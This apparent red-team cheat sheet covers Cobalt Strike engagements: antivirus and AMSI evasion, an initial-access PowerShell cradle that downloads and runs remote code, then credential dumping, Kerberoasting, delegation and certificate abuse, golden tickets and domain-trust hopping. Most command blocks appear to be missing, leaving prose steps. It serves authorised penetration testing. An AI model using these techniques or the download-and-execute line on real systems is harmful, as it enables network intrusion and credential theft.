Cobalt Strike Red Team Cheat Sheet

basic commands and tools to use during an engagement

Start CS

./teamserver <IP> <Password> <path_to_profile>

Implement Defense Evasion with artifact kit and resource kit

Modify src-common/bypass-pipe.c based on what threat checker flags on

rebuild payloads

./build.sh

pscp contents over and check test against ThreatChecker

pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe

Threat Checker

C:\>Tools\ThreatCheck\ThreatCheck.exe -f <Path to artifact.exe>

Resource Kit

check what triggers on PS scripts

C:\>Tools\ThreatCheck\ThreatCheck.exe -e AMSI -f Tools\cobaltstrike\ResourceKit\template.x64.ps1

Using a simple Find & Replace for $x - > $i and $var_code -> $var_banana seems to be enough:

Powershell command for inital access

iex (new-object net.webclient).downloadstring("http://IPADDRESS/uri_path")

Host Enumeration for PrivEsc

Seatbelt - ton to sift through, start with SharpUp to start

SharpUp - make sure to build it

Get user ID and global group membership info

Get services

look for unquoted service paths with a space between

get permissions to unquoted service path

Looking for BUILTIN\User with WriteAccess

Create peer-to-peer listener

go to Cobalt Strike -> Listeners -> Add -> Beacon TCP -> Save

CD to vulnerable service and replace the service with payload

Start vuln service and connect to it

Stop service and start it

look for listening on payload port (4444)

then connect to the port

Domain Recon with PowerView

PowerView

Recon commands

Lateral Movement

Testing access

Pivot Listeners

To start a Pivot Listener on an existing Beacon, right-click it and select Pivoting > Listener. Once started, your selected port will be bound on that machine.

things to keep in mind:

  • If port 445 is closed on the target, you can't use SMB listeners.

  • If the target firewall doesn't allow arbitrary ports inbound, you can't use TCP listeners.

  • If the current machine doesn't allow arbitrary ports inbound, you can't use Pivot listeners. but if you have admin access on the target, you can change what ports are allowed.

To create FW rule on target:

To remove FW rule

PS Remoting

PsExec

WMI

CoInitializeSecurity

If you get... CoInitializeSecurity already called. Thread token (if there is one) may not get used.

DCOM

dump creds

After dumping these credentials, go to View > Credentials to see a copy of them.

The aes256_hmac and aes128_hmac (if available) fields are used with Overpass the Hash

Make Token

If we have the plaintext password (provided here), we can use make_token with that information.

Process injection

Token Impersonation

SpawnAs

The spawnas command will spawn a new process using the plaintext credentials of another user and inject a Beacon payload into it. This creates a new logon session with the interactive logon type which makes it good for local actions, but also creates a whole user profile on disk if not already present.

PassTheHash

It passes the token over a named pipe which Beacon then impersonates automatically.

To avoid the \\.\pipe\ indicator, we can execute Mimikatz manually and specify our own process.

Over Pass The Hash

Rubeus allows us to perform opth without needing elevated privileges. The process to follow is:

Open Powershell and copy the TGT

or bash:

Use the ticket

IF ELEVATED - WITH AES KEY

Extracting Kerberos Tickets

Socks Proxy

Start Socks Proxy on beacon

Confirm bind port on Kali

Update /etc/proxychains.conf

Scanning

Reverse Port Forward

Open port on relay host

Test script to confirm inbound connections

connect from DC1 to AD

CS rportfwd

Beacon also has a rportfwd_local command. Whereas rportfwd will tunnel traffic to the Team Server, rportfwd_local will tunnel the traffic to the machine running the Cobalt Strike client.

NTLM Relay

NTLM Relay with PortBender load driver first

Next, load PortBender.cna from C:\Tools\PortBender - this adds a new PortBender command to the console. Redirect 445 traffic to 8445

forward this to kali server

confirm socks is on

NTLM relay to server to dump SAM database

get command execution

Credential Manager

List credentials stored

To decrypt the credential, we need to find the master encryption key.

The pbData field contains the encrypted data and the guidMasterKey contains the GUID of the key needed to decrypt it. The Master Key information is stored within the user's AppData\Roaming\Microsoft\Protect directory (where S-1-5-21-* is their SID).

There are a few ways to get the Master Key. If you have access to a high integrity session, run sekurlsa::dpapi

If not you can access it using mimikatz and an exposed RPC service on the DC. Run mimikatz dpapi::masterkey, provide the path to the Master Key information and specify /rpc

The key field is the key needed to decrypt the credential dpapi::cred.

Chrome Credentials

Kerberoast

Rubeus kerberoast can be used to perform the kerberoasting. Running it without further arguments will roast every account in the domain that has an SPN (excluding krbtgt).

To find kerberoast accounts

for a specific account use /user argument.

cracking the hash

Use --format=krb5tgs --wordlist=wordlist svc_mssql for john or -a 0 -m 13100 svc_mssql wordlist for hashcat.

ASEP Roast

Find the account to roast

Start roasting

Use --format=krb5asrep --wordlist=wordlist svc_oracle for john or -a 0 -m 18200 svc_oracle wordlist for hashcat.

Unconstrained Delegation

Monitor for a specific TGT while on a server with unconstrained delegation

save ticket

Use ticket

Printer Bug

Monitor for a specific ticket from a server with unconstrained delegation

Force cohorsion with another wks

save ticket

Use token and use ticket

Constrained Delegation

Find all accounts or computers with Constrained Delegation

list current tickets

dump krbtgt

request the msdsspn for a constrained delegation user/server and a known user who can access it

Create kirbi from ticket that was returned

import kirbi file

Alternate Service Name

dump krbtgt

request the msdsspn for a constrained delegation user/server and a known user who can access it

Create kirbi from ticket that was returned

import kirbi file

S4U2 Abuse

get ticket from target using spoolsample and unconstrained delegation to get a workstation$ TGT Monitor for a specific ticket from a server with unconstrained delegation

Force cohorsion with another wks

save ticket

then request a TGS, it will have a failure message at the bottom but thats okay we just want the TGS outputted

save ticket

open TGS in ASN.1 Editor replace the general string wkstn-2$ to cifs or whatever service you want to impersonate. and add a node underneath with the hex 1b. give that new node a value of the FQDN.

confirm ticket is updated

import kirbi file

Active Dirtectory Certificate Services

find vulnerable AD CD CA's

This configuration allows any domain user to request a certificate for any other domain user (including a domain admin), and use it to authenticate to the domain.

Take the private key and certificate. Copy and paste it into Kali and name it cert.pem

convert to pfx

Convert cert.pfx into a base64 encoded string: cat cert.pfx | base64 -w 0 and use Rubeus asktgt to request a TGT using this certificate.

Request TGT for target_user

NTLM Relaying to ADCS HTTP Endpoints

As SYSTEM on unconstrained delegation SRV:

Start ntlm relay

Next, use one of the remote authentication methods to force a connection from workstation to SRV.

After obtaining a TGT with the certificate, the S4U2self trick can be used to obtain a TGS for any service on the machine, on behalf of any user.

User Persistence

In this example, I have a Beacon running as TEST\USER. Use Certify to find all the certificates that permit client authentication:

This certificate allows us to request a TGT for TEST\USER using Rubeus

Computer Persistence

The /machine parameter tells Certify to auto-elevate to SYSTEM and assume the identity of the machine account.

Group Policy

This PowerView query will show the Security Identifiers (SIDs) of principals that can create new GPOs in the domain, which can be translated via ConvertFrom-SID.

This query will return the principals that can write to the GP-Link attribute on OUs:

You can also get a list of machines within an OU.

This query will return any GPO in the domain, where a 4-digit RID has WriteProperty, WriteDacl or WriteOwner. Filtering on a 4-digit RID is a quick way to eliminate the default 5xx results.

To resolve the ObjectDN:

Remote Server Administration Tools (RSAT)

The GroupPolicy module has several PowerShell cmdlets that can be used for administering GPOs, including:

  • New-GPO: Create a new, empty GPO.

  • New-GPLink: Link a GPO to a site, domain or OU.

  • Set-GPPrefRegistryValue: Configures a Registry preference item under either Computer or User Configuration.

  • Set-GPRegistryValue: Configures one or more registry-based policy settings under either Computer or User Configuration.

  • Get-GPOReport: Generates a report in either XML or HTML format.

Create GPO with RSAT

Being able to write anything, anywhere into the HKLM or HKCU provides the ability to gain perisistence on every hosy apart of the GPO

Force updates on a specific computer

SharpGPOAbuse

Discretionary Access Control Lists

Look for GenericAll, WriteProperty or WriteDacl on user

We could also cast a wider net and target entire OUs.

With access like GenericAll we can change passwords, make an account kerberoastable, or modify domain membership

create Kerberoast account

Modify the User Account Control value on the account to disable preauthentication and then ASREProast it.

Modify Group Membership

MS SQL

Find MS SQL servers

Get Info

Command Execution

To execute manually, try:

Base64 encode command

MS SQL Privilege Escalation

NT Service\MSSQL$SQLEXPRESS, is generally configured with a privilege called SeImpersonatePrivilege. SweetPotato has a collection of these various techniques which can be executed via Beacon's execute-assembly command.

Domain Dominance

Add DCSync rights, if needed

DCSync

Golden Ticket

Forged Certificates Once on a CA, SharpDPAPI can extract the private keys.

The next step is to build the forged certificate with ForgeCert.

Even though you can specify any SubjectAltName, the user does need to be present in AD

Then we can simply use Rubeus to request a legitimate TGT with this forged certificate and use it to access the domain controller.

Domain Trusts

Get Domain Trusts

since there is a bidirectional trust in the child domain, we can forge a golden ticket for access into the parent domain

Create ticket

Where:

  • /user is the username to impersonate.

  • /domain is the current domain.

  • /sid is the current domain SID.

  • /sids is the SID of the target group to add ourselves to.

  • /aes256 is the AES256 key of the current domain's krbtgt account.

  • /startoffset sets the start time of the ticket to 10 mins before the current time.

  • /endin sets the expiry date for the ticket to 60 mins.

  • /renewmax sets how long the ticket can be valid for if renewed.

Use ticket

One-Way (Inbound)

Because the trust is inbound from our perspective, it means that principals in our domain can be granted access to resources in the foreign domain. We can enumerate the foreign domain across the trust.

Look for Foreign groups and return the members

To hop the trust, we need to impersonate a member of this domain group.

If you only have the user's RC4/AES keys, we can still request Kerberos tickets with Rubeus but it's more involved. We need an inter-realm key which Rubeus won't produce for us automatically, so we have to do it manually.

First, we need a TGT for the principal in question. This TGT will come from the current domain.

Next, request a referral ticket from the current domain, for the target domain.

Finally, use this inter-realm TGT to request a TGS in the target domain.

Create a sacrificial logon session and import the ticket.

One-Way (Outbound)

The strategy is to find principals in test.local that are not native to that domain, but are from outbound.local.

Find where there may be an computer where foreign users can rdp to, the goal is to get their creds once on a box inside of the compromised domain

Once the credentials or sessions is hijacked from a user from outbound.local, tools like PowerView can be used to enumerate the current user, domain, and possibly move laterally (permissions and open ports permitting)

Last updated

Was this helpful?